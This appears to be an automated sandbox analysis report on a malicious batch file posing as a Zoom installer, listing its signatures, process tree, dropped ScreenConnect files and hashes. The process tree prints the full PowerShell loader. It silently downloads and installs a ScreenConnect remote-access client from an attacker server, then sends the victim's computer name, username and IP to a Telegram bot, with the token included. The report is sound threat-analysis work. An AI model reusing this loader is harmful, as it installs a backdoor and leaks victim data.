Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 12:23

General

  • Target
    zoomsetup.bat
  • Size 1KB
  • Sample260730-pkg57s1xbs
  • SHA256 b2465ecf6ad2a647759d291a4dd1c951db22e82df8eb53871eea134b3900ae06
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zoomsetup.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$f=$env:TEMP+'\ZoomSetup.msi';$ProgressPreference='SilentlyContinue';Invoke-WebRequest -Uri 'https://server.throughstorm.xyz/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile $f -UseBasicParsing;$p=New-Object System.Diagnostics.ProcessStartInfo 'msiexec.exe';$p.Arguments='/i '+$f+' /qn /norestart';$p.Verb='runas';$p.UseShellExecute=$true;$proc=[System.Diagnostics.Process]::Start($p);$proc.WaitForExit();Remove-Item $f -Force -ErrorAction SilentlyContinue;$token='8590515128:AAFxnCMOfelLmSRlo_dAy2YL9mFA3VEWmEg';$chat='6427982479';$pc=$env:COMPUTERNAME;$user=$env:USERNAME;$ip=(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content.Trim();$msg=[uri]::EscapeDataString('UAC Approved'+[char]10+'PC: '+$pc+[char]10+'User: '+$user+[char]10+'IP: '+$ip);Invoke-WebRequest -Uri ('https://api.telegram.org/bot'+$token+'/sendMessage?chat_id='+$chat+'&text='+$msg) -UseBasicParsing|Out-Null"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:240
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i C:\Users\Admin\AppData\Local\Temp\ZoomSetup.msi /qn /norestart
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4416
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4528
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 67304B81F99C4821B42E4BDEF538B7AC
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3948
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI5318.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240737593 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:920
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C764A8F6D95662CD5D9765D7EE0B517C E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2804
  • C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.throughstorm.xyz&p=8041&s=d2586d02-3726-4241-a351-fb1d0e934f6e&k=BgIAAACkAABSU0ExAAgAAAEAAQD9%2bDhnjTZjyQu3qgkjYKrES0aUrPnnsFH413gSvSdjlTA%2bb%2bEVcXnniZiLEgpL5wufUOmmBlRIxPbYsOa%2btUs2hZlIMjKQ17VyYTWI0vHIjs%2fo4HGMfBTrILnaK8CNyu8ZY4TKhZzGjbsoULdJphfHZ8wFBHJiMaH7MbzQ%2fY0hxwARCLLRbsY8l2KNk6PYWvNbNPO1r5hrwdNbG%2be6fqmQ3PNw4K1F%2feeFsED9SPrAO%2fMnuVY%2b7Yle1VfefyATR2tn0W0qraW2eIkIo%2fxcK2Tcs56lFLvdaqGEtYny5I%2f3JiFKzJnp3W0wdjlAVIns%2fNrh9We3hwLRwM4t3hOpC8Ha"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5832
    • C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.WindowsClient.exe" "RunRole" "5095a68d-d227-4c89-98e1-d3b12d20186d" "User"
      2⤵
      • Executes dropped EXE
      PID:3552
    • C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.WindowsClient.exe" "RunRole" "603d082a-5e65-4742-b7ac-0ee4de98e6ed" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3496

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5950aa.rbs

        • Path C:\Config.Msi\e5950aa.rbs
        • Size 214KB
        • SHA256 db0dd1eb576265b6b1d828eb48088e97ac69f6a8986ebf0d0d0de054acc30386
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\Client.Override.en-US.resources
        • Size 363B
        • SHA256 e877dda11c999975c69401f0acfc75c11324cca5f13698584764fabb2bb40204
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\Client.Override.resources
        • Size 35KB
        • SHA256 aa8c28d48a3ef4df8e598091e1ab80d89792051f11910261f396c78db28de88b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\Client.en-US.resources
        • Size 48KB
        • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.WindowsClient.exe
        • Size 593KB
        • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\app.config
        • Size 1KB
        • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (f0b68b2d11a84e45)\system.config
        • Size 954B
        • SHA256 45e309585f58960b75913dc0f3d05c32831a4f6a6462abb022abe575471ad3a8
        • MD5 SHA1 SHA512 TLSH

        ZoomSetup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\ZoomSetup.msi
        • Size 12.9MB
        • SHA256 fea0644ad8e64e3fbdf26ea97d6b64a811d44507cd9b7cc279746531f934ff78
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI5318.tmp

        • Path C:\Windows\Installer\MSI5318.tmp
        • Size 1.0MB
        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI5318.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI5318.tmp-\ScreenConnect.Core.dll
        • Size 538KB
        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI5318.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI5318.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI648E.tmp

        • Path C:\Windows\Installer\MSI648E.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/240-3-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-10-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-5-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-6-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-137-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-142-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-0-0x00007FFBA6A5F000-0x00007FFBA6A60000-memory.dmp

        memory/240-14-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-13-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-140-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-11-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-4-0x000001B6F9150000-0x000001B6F9172000-memory.dmp

        memory/240-9-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-8-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-138-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/240-7-0x00007FFBA68D0000-0x00007FFBA7274000-memory.dmp

        memory/920-36-0x0000000005AC0000-0x0000000005AEE000-memory.dmp

        memory/920-44-0x0000000005BD0000-0x0000000005C5C000-memory.dmp

        memory/920-49-0x0000000006580000-0x0000000006B3A000-memory.dmp

        memory/920-40-0x0000000005B00000-0x0000000005B0A000-memory.dmp

        memory/920-48-0x0000000005E10000-0x0000000005FBC000-memory.dmp

        memory/3552-131-0x00000000024B0000-0x000000000253C000-memory.dmp

        memory/3552-130-0x0000000000BA0000-0x0000000000BD6000-memory.dmp

        memory/3552-129-0x0000000000270000-0x0000000000308000-memory.dmp

        memory/3552-132-0x000000001B520000-0x000000001B6CC000-memory.dmp

        memory/3552-133-0x000000001B860000-0x000000001B9E8000-memory.dmp

        memory/3552-134-0x0000000000BE0000-0x0000000000BF8000-memory.dmp

        memory/3552-135-0x00000000023E0000-0x00000000023F8000-memory.dmp

        memory/5832-114-0x0000000004230000-0x0000000004266000-memory.dmp

        memory/5832-115-0x0000000004310000-0x00000000043A2000-memory.dmp

        memory/5832-117-0x0000000004190000-0x00000000041D1000-memory.dmp

        memory/5832-119-0x0000000004500000-0x00000000045D5000-memory.dmp

        memory/5832-110-0x00000000041E0000-0x0000000004230000-memory.dmp

        memory/5832-88-0x0000000003CB0000-0x0000000003CC8000-memory.dmp